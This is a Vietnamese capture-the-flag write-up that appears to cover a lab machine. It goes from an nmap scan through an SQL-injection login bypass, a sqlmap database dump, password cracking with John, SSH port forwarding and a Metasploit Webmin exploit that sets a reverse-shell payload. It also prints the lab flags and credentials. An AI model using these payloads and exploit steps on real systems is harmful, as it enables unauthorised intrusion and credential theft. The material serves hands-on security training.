Recon
Dùng Nmap thăm dò:
sudo nmap -sS --top-ports 1000 -Pn -n -T4 -oN nmap_game_zone.txt 10.10.22.155
Tìm được hai port:
22/tcp open ssh
80/tcp open http
Obtain Access via SQLi
Sử dụng username sau để đăng nhập và ta thu được trang portal có ô tìm kiếm:
' or 1=1;-- -
Using SQLMap
Ta capture request dùng để tìm kiếm:
POST /portal.php HTTP/1.1
Host: 10.10.22.155
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.22.155
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.22.155/portal.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ipemrlohapvf414q4l8al72h33
Connection: close
searchitem=hello
Lưu request này vào một file .txt
, giả sử đặt tên là request.txt
.
Sử dụng tool SQLMap để thực hiện SQL Injection một cách tự động:
sqlmap -r request.txt --dbms=mysql --dump
Với:
r
là để chỉ định request.--dbms
là để chỉ định DBMS.--dump
là để xuất ra thông tin về toàn bộ database.
Ta tìm được một entry của user có chứa hashed password như sau:
agent47:ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
Lưu hashed password này vào một file và đặt tên là hash.txt
.
Cracking a Password with JohnTheRipper
Sử dụng John the Ripper để crack password như sau:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
Tìm được password của user agent47
là:
videogamer124
Đăng nhập vào target machine thông qua SSH:
ssh agent47@10.10.22.155
Truy cập đến /home/agent47/user.txt
để đọc flag:
Success
649ac17b1480ac13ef1e4fa579dac95c
Exposing Services with Reverse SSH Tunnels
Kỹ thuật reverse SSH port forwarding giúp chỉ định một port ở trên remote server được forward đến port của một host cho trước nào đó1.
Sử dụng tool ss
để khám phá các socket đang chạy ở target machine:
ss -tulpn
Giải thích các option:
t
: hiển thị các socket của TCP.u
: hiển thị các socket của UDP.l
: chỉ hiển thị các socket đang lắng nghe.p
: hiển thị tiến trình đang sử dụng socket.n
: không phân giải tên dịch vụ.
Kết quả hiện ra ở trên target machine:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:68 *:*
udp UNCONN 0 0 *:10000 *:*
tcp LISTEN 0 128 *:10000 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 80 127.0.0.1:3306 *:*
tcp LISTEN 0 128 :::80 :::*
tcp LISTEN 0 128 :::22 :::*
Có thể thấy, port 10000 đang lắng nghe ở target machine. Tuy nhiên khi scan bằng Nmap thì lại có trạng thái là closed:
10000/tcp closed snet-sensor-mgmt
10001/tcp closed scp-config
Điều này có nghĩa là có thể đã có firewall chặn các kết nối bên ngoài.
Để expose port này ra và tạo một tunnel liên kết local (attacking) machine với remote (target) machine, ta dùng lệnh sau:
ssh -L 10000:localhost:10000 agent47@10.10.22.155
Với:
10000:localhost
lần lượt là port và địa chỉ của host mà ta muốn forward port từ remote machine đến. Trong trường hợp này ta muốn forward đến local machine.:10000
là để chỉ định port ở phía remote.agent47@10.10.22.155
là tên user mà ta muốn sử dụng cũng như là IP của remote machine.
Sau khi chạy câu lệnh, ta có thể truy cập vào http://localhost:10000
để truy cập vào port 10000 của remote machine. Port này đang chạy một Web server sử dụng CMS là Webmin với phiên bản là 1.580.
Tìm kiếm trên google với từ khóa webmin default credentials
. Biết được credential của nó cũng chính là username và password của root user:
Sử dụng username và password lần lượt là agent47
và videogamer124
, ta truy cập được vào dashboard của Webmin.
Privilege Escalation with Metasploit
Sử dụng Metasploit và tìm kiếm với từ khóa webmin 1.580
và ta thu được một module:
exploit/unix/webapp/webmin_show_cgi_exec
Sử dụng module này và thiết lập như sau:
set ssl false
set username agent47
set password videogamer124
set rhosts 127.0.0.1
set rport 10000
set payload cmd/unix/reverse_python
set lhost tun0
set lport 8888
Giải thích:
rhosts
cần phải là localhost vì ta đã forward port.lhost
có thể dùng tên interface thay cho địa chỉ IP.payload cmd/unix/reverse_python
: đây là một trong số nhiều payload được phép sử dụng. Dùng câu lệnhset payload <TAB><TAB>
với 2 lần TAB giúp liệt kê danh sách các payload có thể sử dụng.
Chạy exploit và ta thu được reverse shell. Background shell và nâng cấp thành meterpreter shell bằng câu lệnh sau:
sessions -u 1
Truy cập đến /root/root.txt
để đọc flag:
Success
a4b945830144bdd71908d12d902adeee